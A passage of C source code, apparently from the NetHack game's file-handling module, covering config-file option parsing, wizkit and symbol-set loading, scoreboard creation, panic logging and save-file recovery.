retval = FALSE; } else if (match_varname(buf, "HILITE_STATUS", 6)) { #ifdef STATUS_HILITES if (!parse_status_hl1(bufp, TRUE)) retval = FALSE; #endif } else if (match_varname(buf, "WARNINGS", 5)) { (void) get_uchars(bufp, translate, FALSE, WARNCOUNT, "WARNINGS"); assign_warnings(translate); } else if (match_varname(buf, "ROGUESYMBOLS", 4)) { if (!parsesymbols(bufp, ROGUESET)) { config_error_add("Error in ROGUESYMBOLS definition '%s'", bufp); retval = FALSE; } switch_symbols(TRUE); } else if (match_varname(buf, "SYMBOLS", 4)) { if (!parsesymbols(bufp, PRIMARY)) { config_error_add("Error in SYMBOLS definition '%s'", bufp); retval = FALSE; } switch_symbols(TRUE); } else if (match_varname(buf, "WIZKIT", 6)) { (void) strncpy(wizkit, bufp, WIZKIT_MAX - 1); #ifdef AMIGA } else if (match_varname(buf, "FONT", 4)) { char *t; if (t = strchr(buf + 5, ':')) { *t = 0; amii_set_text_font(buf + 5, atoi(t + 1)); *t = ':'; } } else if (match_varname(buf, "PATH", 4)) { (void) strncpy(PATH, bufp, PATHLEN - 1); } else if (match_varname(buf, "DEPTH", 5)) { extern int amii_numcolors; int val = atoi(bufp); amii_numcolors = 1L << min(DEPTH, val); #ifdef SYSFLAGS } else if (match_varname(buf, "DRIPENS", 7)) { int i, val; char *t; for (i = 0, t = strtok(bufp, ",/"); t != (char *) 0; i < 20 && (t = strtok((char *) 0, ",/")), ++i) { sscanf(t, "%d", &val); sysflags.amii_dripens[i] = val; } #endif } else if (match_varname(buf, "SCREENMODE", 10)) { extern long amii_scrnmode; if (!stricmp(bufp, "req")) amii_scrnmode = 0xffffffff; /* Requester */ else if (sscanf(bufp, "%x", &amii_scrnmode) != 1) amii_scrnmode = 0; } else if (match_varname(buf, "MSGPENS", 7)) { extern int amii_msgAPen, amii_msgBPen; char *t = strtok(bufp, ",/"); if (t) { sscanf(t, "%d", &amii_msgAPen); if (t = strtok((char *) 0, ",/")) sscanf(t, "%d", &amii_msgBPen); } } else if (match_varname(buf, "TEXTPENS", 8)) { extern int amii_textAPen, amii_textBPen; char *t = strtok(bufp, ",/"); if (t) { sscanf(t, "%d", &amii_textAPen); if (t = strtok((char *) 0, ",/")) sscanf(t, "%d", &amii_textBPen); } } else if (match_varname(buf, "MENUPENS", 8)) { extern int amii_menuAPen, amii_menuBPen; char *t = strtok(bufp, ",/"); if (t) { sscanf(t, "%d", &amii_menuAPen); if (t = strtok((char *) 0, ",/")) sscanf(t, "%d", &amii_menuBPen); } } else if (match_varname(buf, "STATUSPENS", 10)) { extern int amii_statAPen, amii_statBPen; char *t = strtok(bufp, ",/"); if (t) { sscanf(t, "%d", &amii_statAPen); if (t = strtok((char *) 0, ",/")) sscanf(t, "%d", &amii_statBPen); } } else if (match_varname(buf, "OTHERPENS", 9)) { extern int amii_otherAPen, amii_otherBPen; char *t = strtok(bufp, ",/"); if (t) { sscanf(t, "%d", &amii_otherAPen); if (t = strtok((char *) 0, ",/")) sscanf(t, "%d", &amii_otherBPen); } } else if (match_varname(buf, "PENS", 4)) { extern unsigned short amii_init_map[AMII_MAXCOLORS]; int i; char *t; for (i = 0, t = strtok(bufp, ",/"); i < AMII_MAXCOLORS && t != (char *) 0; t = strtok((char *) 0, ",/"), ++i) { sscanf(t, "%hx", &amii_init_map[i]); } amii_setpens(amii_numcolors = i); } else if (match_varname(buf, "FGPENS", 6)) { extern int foreg[AMII_MAXCOLORS]; int i; char *t; for (i = 0, t = strtok(bufp, ",/"); i < AMII_MAXCOLORS && t != (char *) 0; t = strtok((char *) 0, ",/"), ++i) { sscanf(t, "%d", &foreg[i]); } } else if (match_varname(buf, "BGPENS", 6)) { extern int backg[AMII_MAXCOLORS]; int i; char *t; for (i = 0, t = strtok(bufp, ",/"); i < AMII_MAXCOLORS && t != (char *) 0; t = strtok((char *) 0, ",/"), ++i) { sscanf(t, "%d", &backg[i]); } #endif /*AMIGA*/ #ifdef USER_SOUNDS } else if (match_varname(buf, "SOUNDDIR", 8)) { sounddir = dupstr(bufp); } else if (match_varname(buf, "SOUND", 5)) { add_sound_mapping(bufp); #endif } else if (match_varname(buf, "QT_TILEWIDTH", 12)) { #ifdef QT_GRAPHICS extern char *qt_tilewidth; if (qt_tilewidth == NULL) qt_tilewidth = dupstr(bufp); #endif } else if (match_varname(buf, "QT_TILEHEIGHT", 13)) { #ifdef QT_GRAPHICS extern char *qt_tileheight; if (qt_tileheight == NULL) qt_tileheight = dupstr(bufp); #endif } else if (match_varname(buf, "QT_FONTSIZE", 11)) { #ifdef QT_GRAPHICS extern char *qt_fontsize; if (qt_fontsize == NULL) qt_fontsize = dupstr(bufp); #endif } else if (match_varname(buf, "QT_COMPACT", 10)) { #ifdef QT_GRAPHICS extern int qt_compact_mode; qt_compact_mode = atoi(bufp); #endif } else { config_error_add("Unknown config statement"); return FALSE; } return retval; } #ifdef USER_SOUNDS boolean can_read_file(filename) const char *filename; { return (boolean) (access(filename, 4) == 0); } #endif /* USER_SOUNDS */ struct _config_error_frame { int line_num; int num_errors; boolean origline_shown; boolean fromfile; boolean secure; char origline[4 * BUFSZ]; char source[BUFSZ]; struct _config_error_frame *next; }; static struct _config_error_frame *config_error_data = 0; void config_error_init(from_file, sourcename, secure) boolean from_file; const char *sourcename; boolean secure; { struct _config_error_frame *tmp = (struct _config_error_frame *) alloc(sizeof (struct _config_error_frame)); tmp->line_num = 0; tmp->num_errors = 0; tmp->origline_shown = FALSE; tmp->fromfile = from_file; tmp->secure = secure; tmp->origline[0] = '\0'; if (sourcename && sourcename[0]) { (void) strncpy(tmp->source, sourcename, sizeof (tmp->source) - 1); tmp->source[sizeof (tmp->source) - 1] = '\0'; } else tmp->source[0] = '\0'; tmp->next = config_error_data; config_error_data = tmp; } STATIC_OVL boolean config_error_nextline(line) const char *line; { struct _config_error_frame *ced = config_error_data; if (!ced) return FALSE; if (ced->num_errors && ced->secure) return FALSE; ced->line_num++; ced->origline_shown = FALSE; if (line && line[0]) { (void) strncpy(ced->origline, line, sizeof (ced->origline) - 1); ced->origline[sizeof (ced->origline) - 1] = '\0'; } else ced->origline[0] = '\0'; return TRUE; } /* varargs 'config_error_add()' moved to pline.c */ void config_erradd(buf) const char *buf; { char lineno[QBUFSZ]; if (!buf || !*buf) buf = "Unknown error"; if (!config_error_data) { /* either very early, where pline() will use raw_print(), or player gave bad value when prompted by interactive 'O' command */ pline("%s%s.", !iflags.window_inited ? "config_error_add: " : "", buf); wait_synch(); return; } config_error_data->num_errors++; if (!config_error_data->origline_shown && !config_error_data->secure) { pline("\n%s", config_error_data->origline); config_error_data->origline_shown = TRUE; } if (config_error_data->line_num > 0 && !config_error_data->secure) { Sprintf(lineno, "Line %d: ", config_error_data->line_num); } else lineno[0] = '\0'; pline("%s %s%s.", config_error_data->secure ? "Error:" : " *", lineno, buf); } int config_error_done() { int n; struct _config_error_frame *tmp = config_error_data; if (!config_error_data) return 0; n = config_error_data->num_errors; if (n) { pline("\n%d error%s in %s.\n", n, (n > 1) ? "s" : "", *config_error_data->source ? config_error_data->source : configfile); wait_synch(); } config_error_data = tmp->next; free(tmp); return n; } boolean read_config_file(filename, src) const char *filename; int src; { FILE *fp; boolean rv = TRUE; if (!(fp = fopen_config_file(filename, src))) return FALSE; /* begin detection of duplicate configfile options */ set_duplicate_opt_detection(1); free_config_sections(); iflags.parse_config_file_src = src; rv = parse_conf_file(fp, parse_config_line); (void) fclose(fp); free_config_sections(); /* turn off detection of duplicate configfile options */ set_duplicate_opt_detection(0); return rv; } STATIC_OVL FILE * fopen_wizkit_file() { FILE *fp; #if defined(VMS) || defined(UNIX) char tmp_wizkit[BUFSZ]; #endif char *envp; envp = nh_getenv("WIZKIT"); if (envp && *envp) (void) strncpy(wizkit, envp, WIZKIT_MAX - 1); if (!wizkit[0]) return (FILE *) 0; #ifdef UNIX if (access(wizkit, 4) == -1) { /* 4 is R_OK on newer systems */ /* nasty sneaky attempt to read file through * NetHack's setuid permissions -- this is a * place a file name may be wholly under the player's * control */ raw_printf("Access to %s denied (%d).", wizkit, errno); wait_synch(); /* fall through to standard names */ } else #endif if ((fp = fopenp(wizkit, "r")) != (FILE *) 0) { return fp; #if defined(UNIX) || defined(VMS) } else { /* access() above probably caught most problems for UNIX */ raw_printf("Couldn't open requested config file %s (%d).", wizkit, errno); wait_synch(); #endif } #if defined(MICRO) || defined(MAC) || defined(__BEOS__) || defined(WIN32) if ((fp = fopenp(fqname(wizkit, CONFIGPREFIX, 0), "r")) != (FILE *) 0) return fp; #else #ifdef VMS envp = nh_getenv("HOME"); if (envp) Sprintf(tmp_wizkit, "%s%s", envp, wizkit); else Sprintf(tmp_wizkit, "%s%s", "sys$login:", wizkit); if ((fp = fopenp(tmp_wizkit, "r")) != (FILE *) 0) return fp; #else /* should be only UNIX left */ envp = nh_getenv("HOME"); if (envp) Sprintf(tmp_wizkit, "%s/%s", envp, wizkit); else Strcpy(tmp_wizkit, wizkit); if ((fp = fopenp(tmp_wizkit, "r")) != (FILE *) 0) return fp; else if (errno != ENOENT) { /* e.g., problems when setuid NetHack can't search home * directory restricted to user */ raw_printf("Couldn't open default wizkit file %s (%d).", tmp_wizkit, errno); wait_synch(); } #endif #endif return (FILE *) 0; } /* add to hero's inventory if there's room, otherwise put item on floor */ STATIC_DCL void wizkit_addinv(obj) struct obj *obj; { if (!obj || obj == &zeroobj) return; /* subset of starting inventory pre-ID */ obj->dknown = 1; if (Role_if(PM_PRIEST)) obj->bknown = 1; /* ok to bypass set_bknown() */ /* same criteria as lift_object()'s check for available inventory slot */ if (obj->oclass != COIN_CLASS && inv_cnt(FALSE) >= 52 && !merge_choice(invent, obj)) { /* inventory overflow; can't just place & stack object since hero isn't in position yet, so schedule for arrival later */ add_to_migration(obj); obj->ox = 0; /* index of main dungeon */ obj->oy = 1; /* starting level number */ obj->owornmask = (long) (MIGR_WITH_HERO | MIGR_NOBREAK | MIGR_NOSCATTER); } else { (void) addinv(obj); } } boolean proc_wizkit_line(buf) char *buf; { struct obj *otmp; if (strlen(buf) >= BUFSZ) buf[BUFSZ - 1] = '\0'; otmp = readobjnam(buf, (struct obj *) 0); if (otmp) { if (otmp != &zeroobj) wizkit_addinv(otmp); } else { /* .60 limits output line width to 79 chars */ config_error_add("Bad wizkit item: \"%.60s\"", buf); return FALSE; } return TRUE; } void read_wizkit() { FILE *fp; if (!wizard || !(fp = fopen_wizkit_file())) return; program_state.wizkit_wishing = 1; config_error_init(TRUE, "WIZKIT", FALSE); parse_conf_file(fp, proc_wizkit_line); (void) fclose(fp); config_error_done(); program_state.wizkit_wishing = 0; return; } /* parse_conf_file * * Read from file fp, handling comments, empty lines, config sections, * CHOOSE, and line continuation, calling proc for every valid line. * * Continued lines are merged together with one space in between. */ STATIC_OVL boolean parse_conf_file(fp, proc) FILE *fp; boolean FDECL((*proc), (char *)); { char inbuf[4 * BUFSZ]; boolean rv = TRUE; /* assume successful parse */ char *ep; boolean skip = FALSE, morelines = FALSE; char *buf = (char *) 0; size_t inbufsz = sizeof inbuf; free_config_sections(); while (fgets(inbuf, (int) inbufsz, fp)) { ep = index(inbuf, '\n'); if (skip) { /* in case previous line was too long */ if (ep) skip = FALSE; /* found newline; next line is normal */ } else { if (!ep) { /* newline missing */ if (strlen(inbuf) < (inbufsz - 2)) { /* likely the last line of file is just missing a newline; process it anyway */ ep = eos(inbuf); } else { config_error_add("Line too long, skipping"); skip = TRUE; /* discard next fgets */ } } else { *ep = '\0'; /* remove newline */ } if (ep) { char *tmpbuf = (char *) 0; int len; boolean ignoreline = FALSE; boolean oldline = FALSE; /* line continuation (trailing '\') */ morelines = (--ep >= inbuf && *ep == '\\'); if (morelines) *ep = '\0'; /* trim off spaces at end of line */ while (ep >= inbuf && (*ep == ' ' || *ep == '\t' || *ep == '\r')) *ep-- = '\0'; if (!config_error_nextline(inbuf)) { rv = FALSE; if (buf) free(buf), buf = (char *) 0; break; } ep = inbuf; while (*ep == ' ' || *ep == '\t') ++ep; /* ignore empty lines and full-line comment lines */ if (!*ep || *ep == '#') ignoreline = TRUE; if (buf) oldline = TRUE; /* merge now read line with previous ones, if necessary */ if (!ignoreline) { len = (int) strlen(ep) + 1; /* +1: final '\0' */ if (buf) len += (int) strlen(buf) + 1; /* +1: space */ tmpbuf = (char *) alloc(len); *tmpbuf = '\0'; if (buf) { Strcat(strcpy(tmpbuf, buf), " "); free(buf); } buf = strcat(tmpbuf, ep); buf[sizeof inbuf - 1] = '\0'; } if (morelines || (ignoreline && !oldline)) continue; if (handle_config_section(buf)) { free(buf); buf = (char *) 0; continue; } /* from here onwards, we'll handle buf only */ if (match_varname(buf, "CHOOSE", 6)) { char *section; char *bufp = find_optparam(buf); if (!bufp) { config_error_add( "Format is CHOOSE=section1,section2,..."); rv = FALSE; free(buf); buf = (char *) 0; continue; } bufp++; if (config_section_chosen) free(config_section_chosen), config_section_chosen = 0; section = choose_random_part(bufp, ','); if (section) { config_section_chosen = dupstr(section); } else { config_error_add("No config section to choose"); rv = FALSE; } free(buf); buf = (char *) 0; continue; } if (!proc(buf)) rv = FALSE; free(buf); buf = (char *) 0; } } } if (buf) free(buf); free_config_sections(); return rv; } extern struct symsetentry *symset_list; /* options.c */ extern const char *known_handling[]; /* drawing.c */ extern const char *known_restrictions[]; /* drawing.c */ static int symset_count = 0; /* for pick-list building only */ static boolean chosen_symset_start = FALSE, chosen_symset_end = FALSE; static int symset_which_set = 0; STATIC_OVL FILE * fopen_sym_file() { FILE *fp; fp = fopen_datafile(SYMBOLS, "r", #ifdef WIN32 SYSCONFPREFIX #else HACKPREFIX #endif ); return fp; } /* * Returns 1 if the chose symset was found and loaded. * 0 if it wasn't found in the sym file or other problem. */ int read_sym_file(which_set) int which_set; { FILE *fp; symset[which_set].explicitly = FALSE; if (!(fp = fopen_sym_file())) return 0; symset[which_set].explicitly = TRUE; symset_count = 0; chosen_symset_start = chosen_symset_end = FALSE; symset_which_set = which_set; config_error_init(TRUE, "symbols", FALSE); parse_conf_file(fp, proc_symset_line); (void) fclose(fp); if (!chosen_symset_start && !chosen_symset_end) { /* name caller put in symset[which_set].name was not found; if it looks like "Default symbols", null it out and return success to use the default; otherwise, return failure */ if (symset[which_set].name && (fuzzymatch(symset[which_set].name, "Default symbols", " -_", TRUE) || !strcmpi(symset[which_set].name, "default"))) clear_symsetentry(which_set, TRUE); config_error_done(); /* If name was defined, it was invalid... Then we're loading fallback */ if (symset[which_set].name) { symset[which_set].explicitly = FALSE; return 0; } return 1; } if (!chosen_symset_end) config_error_add("Missing finish for symset \"%s\"", symset[which_set].name ? symset[which_set].name : "unknown"); config_error_done(); return 1; } boolean proc_symset_line(buf) char *buf; { return !((boolean) parse_sym_line(buf, symset_which_set)); } /* returns 0 on error */ int parse_sym_line(buf, which_set) char *buf; int which_set; { int val, i; struct symparse *symp; char *bufp, *commentp, *altp; if (strlen(buf) >= BUFSZ) buf[BUFSZ - 1] = '\0'; /* convert each instance of whitespace (tabs, consecutive spaces) into a single space; leading and trailing spaces are stripped */ mungspaces(buf); /* remove trailing comment, if any (this isn't strictly needed for individual symbols, and it won't matter if "X#comment" without separating space slips through; for handling or set description, symbol set creator is responsible for preceding '#' with a space and that comment itself doesn't contain " #") */ if ((commentp = rindex(buf, '#')) != 0 && commentp[-1] == ' ') commentp[-1] = '\0'; /* find the '=' or ':' */ bufp = index(buf, '='); altp = index(buf, ':'); if (!bufp || (altp && altp < bufp)) bufp = altp; if (!bufp) { if (strncmpi(buf, "finish", 6) == 0) { /* end current graphics set */ if (chosen_symset_start) chosen_symset_end = TRUE; chosen_symset_start = FALSE; return 1; } config_error_add("No \"finish\""); return 0; } /* skip '=' and space which follows, if any */ ++bufp; if (*bufp == ' ') ++bufp; symp = match_sym(buf); if (!symp) { config_error_add("Unknown sym keyword"); return 0; } if (!symset[which_set].name) { /* A null symset name indicates that we're just building a pick-list of possible symset values from the file, so only do that */ if (symp->range == SYM_CONTROL) { struct symsetentry *tmpsp, *lastsp; for (lastsp = symset_list; lastsp; lastsp = lastsp->next) if (!lastsp->next) break; switch (symp->idx) { case 0: tmpsp = (struct symsetentry *) alloc(sizeof *tmpsp); tmpsp->next = (struct symsetentry *) 0; if (!lastsp) symset_list = tmpsp; else lastsp->next = tmpsp; tmpsp->idx = symset_count++; tmpsp->name = dupstr(bufp); tmpsp->desc = (char *) 0; tmpsp->handling = H_UNK; /* initialize restriction bits */ tmpsp->nocolor = 0; tmpsp->primary = 0; tmpsp->rogue = 0; break; case 2: /* handler type identified */ tmpsp = lastsp; /* most recent symset */ for (i = 0; known_handling[i]; ++i) if (!strcmpi(known_handling[i], bufp)) { tmpsp->handling = i; break; /* for loop */ } break; case 3: /* description:something */ tmpsp = lastsp; /* most recent symset */ if (tmpsp && !tmpsp->desc) tmpsp->desc = dupstr(bufp); break; case 5: /* restrictions: xxxx*/ tmpsp = lastsp; /* most recent symset */ for (i = 0; known_restrictions[i]; ++i) { if (!strcmpi(known_restrictions[i], bufp)) { switch (i) { case 0: tmpsp->primary = 1; break; case 1: tmpsp->rogue = 1; break; } break; /* while loop */ } } break; } } return 1; } if (symp->range) { if (symp->range == SYM_CONTROL) { switch (symp->idx) { case 0: /* start of symset */ if (!strcmpi(bufp, symset[which_set].name)) { /* matches desired one */ chosen_symset_start = TRUE; /* these init_*() functions clear symset fields too */ if (which_set == ROGUESET) init_rogue_symbols(); else if (which_set == PRIMARY) init_primary_symbols(); } break; case 1: /* finish symset */ if (chosen_symset_start) chosen_symset_end = TRUE; chosen_symset_start = FALSE; break; case 2: /* handler type identified */ if (chosen_symset_start) set_symhandling(bufp, which_set); break; /* case 3: (description) is ignored here */ case 4: /* color:off */ if (chosen_symset_start) { if (bufp) { if (!strcmpi(bufp, "true") || !strcmpi(bufp, "yes") || !strcmpi(bufp, "on")) symset[which_set].nocolor = 0; else if (!strcmpi(bufp, "false") || !strcmpi(bufp, "no") || !strcmpi(bufp, "off")) symset[which_set].nocolor = 1; } } break; case 5: /* restrictions: xxxx*/ if (chosen_symset_start) { int n = 0; while (known_restrictions[n]) { if (!strcmpi(known_restrictions[n], bufp)) { switch (n) { case 0: symset[which_set].primary = 1; break; case 1: symset[which_set].rogue = 1; break; } break; /* while loop */ } n++; } } break; } } else { /* !SYM_CONTROL */ val = sym_val(bufp); if (chosen_symset_start) { if (which_set == PRIMARY) { update_primary_symset(symp, val); } else if (which_set == ROGUESET) { update_rogue_symset(symp, val); } } } } return 1; } STATIC_OVL void set_symhandling(handling, which_set) char *handling; int which_set; { int i = 0; symset[which_set].handling = H_UNK; while (known_handling[i]) { if (!strcmpi(known_handling[i], handling)) { symset[which_set].handling = i; return; } i++; } } /* ---------- END CONFIG FILE HANDLING ----------- */ /* ---------- BEGIN SCOREBOARD CREATION ----------- */ #ifdef OS2_CODEVIEW #define UNUSED_if_not_OS2_CODEVIEW /*empty*/ #else #define UNUSED_if_not_OS2_CODEVIEW UNUSED #endif /* verify that we can write to scoreboard file; if not, try to create one */ /*ARGUSED*/ void check_recordfile(dir) const char *dir UNUSED_if_not_OS2_CODEVIEW; { #if defined(PRAGMA_UNUSED) && !defined(OS2_CODEVIEW) #pragma unused(dir) #endif const char *fq_record; int fd; #if defined(UNIX) || defined(VMS) fq_record = fqname(RECORD, SCOREPREFIX, 0); fd = open(fq_record, O_RDWR, 0); if (fd >= 0) { #ifdef VMS /* must be stream-lf to use UPDATE_RECORD_IN_PLACE */ if (!file_is_stmlf(fd)) { raw_printf( "Warning: scoreboard file '%s' is not in stream_lf format", fq_record); wait_synch(); } #endif (void) nhclose(fd); /* RECORD is accessible */ } else if ((fd = open(fq_record, O_CREAT | O_RDWR, FCMASK)) >= 0) { (void) nhclose(fd); /* RECORD newly created */ #if defined(VMS) && !defined(SECURE) /* Re-protect RECORD with world:read+write+execute+delete access. */ (void) chmod(fq_record, FCMASK | 007); #endif /* VMS && !SECURE */ } else { raw_printf("Warning: cannot write scoreboard file '%s'", fq_record); wait_synch(); } #endif /* !UNIX && !VMS */ #if defined(MICRO) || defined(WIN32) char tmp[PATHLEN]; #ifdef OS2_CODEVIEW /* explicit path on opening for OS/2 */ /* how does this work when there isn't an explicit path or fopenp * for later access to the file via fopen_datafile? ? */ (void) strncpy(tmp, dir, PATHLEN - 1); tmp[PATHLEN - 1] = '\0'; if ((strlen(tmp) + 1 + strlen(RECORD)) < (PATHLEN - 1)) { append_slash(tmp); Strcat(tmp, RECORD); } fq_record = tmp; #else Strcpy(tmp, RECORD); fq_record = fqname(RECORD, SCOREPREFIX, 0); #endif #ifdef WIN32 /* If dir is NULL it indicates create but only if it doesn't already exist */ if (!dir) { char buf[BUFSZ]; buf[0] = '\0'; fd = open(fq_record, O_RDWR); if (!(fd == -1 && errno == ENOENT)) { if (fd >= 0) { (void) nhclose(fd); } else { /* explanation for failure other than missing file */ Sprintf(buf, "error \"%s\", (errno %d).", fq_record, errno); paniclog("scorefile", buf); } return; } Sprintf(buf, "missing \"%s\", creating new scorefile.", fq_record); paniclog("scorefile", buf); } #endif if ((fd = open(fq_record, O_RDWR)) < 0) { /* try to create empty 'record' */ #if defined(AZTEC_C) || defined(_DCC) \ || (defined(__GNUC__) && defined(__AMIGA__)) /* Aztec doesn't use the third argument */ /* DICE doesn't like it */ fd = open(fq_record, O_CREAT | O_RDWR); #else fd = open(fq_record, O_CREAT | O_RDWR, S_IREAD | S_IWRITE); #endif if (fd <= 0) { raw_printf("Warning: cannot write record '%s'", tmp); wait_synch(); } else { (void) nhclose(fd); } } else { /* open succeeded => 'record' exists */ (void) nhclose(fd); } #else /* MICRO || WIN32*/ #ifdef MAC /* Create the "record" file, if necessary */ fq_record = fqname(RECORD, SCOREPREFIX, 0); fd = macopen(fq_record, O_RDWR | O_CREAT, TEXT_TYPE); if (fd != -1) macclose(fd); #endif /* MAC */ #endif /* MICRO || WIN32*/ } /* ---------- END SCOREBOARD CREATION ----------- */ /* ---------- BEGIN PANIC/IMPOSSIBLE/TESTING LOG ----------- */ /*ARGSUSED*/ void paniclog(type, reason) const char *type; /* panic, impossible, trickery */ const char *reason; /* explanation */ { #ifdef PANICLOG FILE *lfile; char buf[BUFSZ]; if (!program_state.in_paniclog) { program_state.in_paniclog = 1; lfile = fopen_datafile(PANICLOG, "a", TROUBLEPREFIX); if (lfile) { #ifdef PANICLOG_FMT2 (void) fprintf(lfile, "%ld %s: %s %s\n", ubirthday, (plname ? plname : "(none)"), type, reason); #else time_t now = getnow(); int uid = getuid(); char playmode = wizard ? 'D' : discover ? 'X' : '-'; (void) fprintf(lfile, "%s %08ld %06ld %d %c: %s %s\n", version_string(buf), yyyymmdd(now), hhmmss(now), uid, playmode, type, reason); #endif /* !PANICLOG_FMT2 */ (void) fclose(lfile); } program_state.in_paniclog = 0; } #endif /* PANICLOG */ return; } void testinglog(filenm, type, reason) const char *filenm; /* ad hoc file name */ const char *type; const char *reason; /* explanation */ { FILE *lfile; char fnbuf[BUFSZ]; if (!filenm) return; Strcpy(fnbuf, filenm); if (index(fnbuf, '.') == 0) Strcat(fnbuf, ".log"); lfile = fopen_datafile(fnbuf, "a", TROUBLEPREFIX); if (lfile) { (void) fprintf(lfile, "%s\n%s\n", type, reason); (void) fclose(lfile); } return; } /* ---------- END PANIC/IMPOSSIBLE/TESTING LOG ----------- */ #ifdef SELF_RECOVER /* ---------- BEGIN INTERNAL RECOVER ----------- */ boolean recover_savefile() { int gfd, lfd, sfd; int lev, savelev, hpid, pltmpsiz; xchar levc; struct version_info version_data; int processed[256]; char savename[SAVESIZE], errbuf[BUFSZ]; struct savefile_info sfi; char tmpplbuf[PL_NSIZ]; for (lev = 0; lev < 256; lev++) processed[lev] = 0; /* level 0 file contains: * pid of creating process (ignored here) * level number for current level of save file * name of save file nethack would have created * savefile info * player name * and game state */ gfd = open_levelfile(0, errbuf); if (gfd < 0) { raw_printf("%s\n", errbuf); return FALSE; } if (read(gfd, (genericptr_t) &hpid, sizeof hpid) != sizeof hpid) { raw_printf("\n%s\n%s\n", "Checkpoint data incompletely written or subsequently clobbered.", "Recovery impossible."); (void) nhclose(gfd); return FALSE; } if (read(gfd, (genericptr_t) &savelev, sizeof(savelev)) != sizeof(savelev)) { raw_printf( "\nCheckpointing was not in effect for %s -- recovery impossible.\n", lock); (void) nhclose(gfd); return FALSE; } if ((read(gfd, (genericptr_t) savename, sizeof savename) != sizeof savename) || (read(gfd, (genericptr_t) &version_data, sizeof version_data) != sizeof version_data) || (read(gfd, (genericptr_t) &sfi, sizeof sfi) != sizeof sfi) || (read(gfd, (genericptr_t) &pltmpsiz, sizeof pltmpsiz) != sizeof pltmpsiz) || (pltmpsiz > PL_NSIZ) || (read(gfd, (genericptr_t) &tmpplbuf, pltmpsiz) != pltmpsiz)) { raw_printf("\nError reading %s -- can't recover.\n", lock); (void) nhclose(gfd); return FALSE; } /* save file should contain: * version info * savefile info * player name * current level (including pets) * (non-level-based) game state * other levels */ set_savefile_name(TRUE); sfd = create_savefile(); if (sfd < 0) { raw_printf("\nCannot recover savefile %s.\n", SAVEF); (void) nhclose(gfd); return FALSE; } lfd = open_levelfile(savelev, errbuf); if (lfd < 0) { raw_printf("\n%s\n", errbuf); (void) nhclose(gfd); (void) nhclose(sfd); delete_savefile(); return FALSE; } if (write(sfd, (genericptr_t) &version_data, sizeof version_data) != sizeof version_data) { raw_printf("\nError writing %s; recovery failed.", SAVEF); (void) nhclose(gfd); (void) nhclose(sfd); (void) nhclose(lfd); delete_savefile(); return FALSE; } if (write(sfd, (genericptr_t) &sfi, sizeof sfi) != sizeof sfi) { raw_printf("\nError writing %s; recovery failed (savefile_info).\n", SAVEF); (void) nhclose(gfd); (void) nhclose(sfd); (void) nhclose(lfd); delete_savefile(); return FALSE; } if (write(sfd, (genericptr_t) &pltmpsiz, sizeof pltmpsiz) != sizeof pltmpsiz) { raw_printf("Error writing %s; recovery failed (player name size).\n", SAVEF); (void) nhclose(gfd); (void) nhclose(sfd); (void) nhclose(lfd); delete_savefile(); return FALSE; } if (write(sfd, (genericptr_t) &tmpplbuf, pltmpsiz) != pltmpsiz) { raw_printf("Error writing %s; recovery failed (player name).\n", SAVEF); (void) nhclose(gfd); (void) nhclose(sfd); (void) nhclose(lfd); delete_savefile(); return FALSE; } if (!copy_bytes(lfd, sfd)) { (void) nhclose(gfd); (void) nhclose(sfd); (void) nhclose(lfd); delete_savefile(); return FALSE; } (void) nhclose(lfd); processed[savelev] = 1; if (!copy_bytes(gfd, sfd)) { (void) nhclose(gfd); (void) nhclose(sfd); delete_savefile(); return FALSE; } (void) nhclose(gfd); processed[0] = 1; for (lev = 1; lev < 256; lev++) { /* level numbers are kept in xchars in save.c, so the * maximum level number (for the endlevel) must be < 256 */ if (lev != savelev) { lfd = open_levelfile(lev, (char *) 0); if (lfd >= 0) { /* any or all of these may not exist */ levc = (xchar) lev; write(sfd, (genericptr_t) &levc, sizeof(levc)); if (!copy_bytes(lfd, sfd)) { (void) nhclose(lfd); (void) nhclose(sfd); delete_savefile(); return FALSE; } (void) nhclose(lfd); processed[lev] = 1; } } } (void) nhclose(sfd); #ifdef HOLD_LOCKFILE_OPEN really_close(); #endif /* * We have a successful savefile! * Only now do we erase the level files. */ for (lev = 0; lev < 256; lev++) { if (processed[lev]) { const char *fq_lock; set_levelfile_name(lock, lev); fq_lock = fqname(lock, LEVELPREFIX, 3); (void) unlink(fq_lock); } } return TRUE; } boolean copy_bytes(ifd, ofd) int ifd, ofd; { char buf[BUFSIZ]; int nfrom, nto; do { nfrom = read(ifd, buf, BUFSIZ); nto = write(ofd, buf, nfrom); if (nto != nfrom) return FALSE; } while (nfrom == BUFSIZ); return TRUE; } /* ---------- END INTERNAL RECOVER ----------- */ #endif /*SELF_RECOVER*/ /* ---------- OTHER ----------- */ #ifdef SYSCF #ifdef SYSCF_FILE void assure_syscf_file() { int fd; #ifdef WIN32 /* We are checking that the sysconf exists ... lock the path */ fqn_prefix_locked[SYSCONFPREFIX] = TRUE; #endif /* * All we really care about is the end result - can we read the file? * So just check that directly. * * Not tested on most of the old platforms (which don't attempt * to implement SYSCF). * Some ports don't like open()'s optional third argument; * VMS overrides open() usage with a macro which requires it. */ #ifndef VMS # if defined(NOCWD_ASSUMPTIONS) && defined(WIN32) fd = open(fqname(SYSCF_FILE, SYSCONFPREFIX, 0), O_RDONLY); # else fd = open(SYSCF_FILE, O_RDONLY); # endif #else fd = open(SYSCF_FILE, O_RDONLY, 0); #endif if (fd >= 0) { /* readable */ close(fd); return; } raw_printf("Unable to open SYSCF_FILE.\n"); exit(EXIT_FAILURE); } #endif /* SYSCF_FILE */ #endif /* SYSCF */ #ifdef DEBUG /* used by debugpline() to decide whether to issue a message * from a particular source file; caller passes __FILE__ and we check * whether it is in the source file list supplied by SYSCF's DEBUGFILES * * pass FALSE to override wildcard matching; useful for files * like dungeon.c and questpgr.c, which generate a ridiculous amount of * output if DEBUG is defined and effectively block the use of a wildcard */ boolean debugcore(filename, wildcards) const char *filename; boolean wildcards; { const char *debugfiles, *p; if (!filename || !*filename) return FALSE; /* sanity precaution */ if (sysopt.env_dbgfl == 0) { /* check once for DEBUGFILES in the environment; if found, it supersedes the sysconf value [note: getenv() rather than nh_getenv() since a long value is valid and doesn't pose any sort of overflow risk here] */ if ((p = getenv("DEBUGFILES")) != 0) { if (sysopt.debugfiles) free((genericptr_t) sysopt.debugfiles); sysopt.debugfiles = dupstr(p); sysopt.env_dbgfl = 1; } else sysopt.env_dbgfl = -1; } debugfiles = sysopt.debugfiles; /* usual case: sysopt.debugfiles will be empty */ if (!debugfiles || !*debugfiles) return FALSE; /* strip filename's path if present */ #ifdef UNIX if ((p = rindex(filename, '/')) != 0) filename = p + 1; 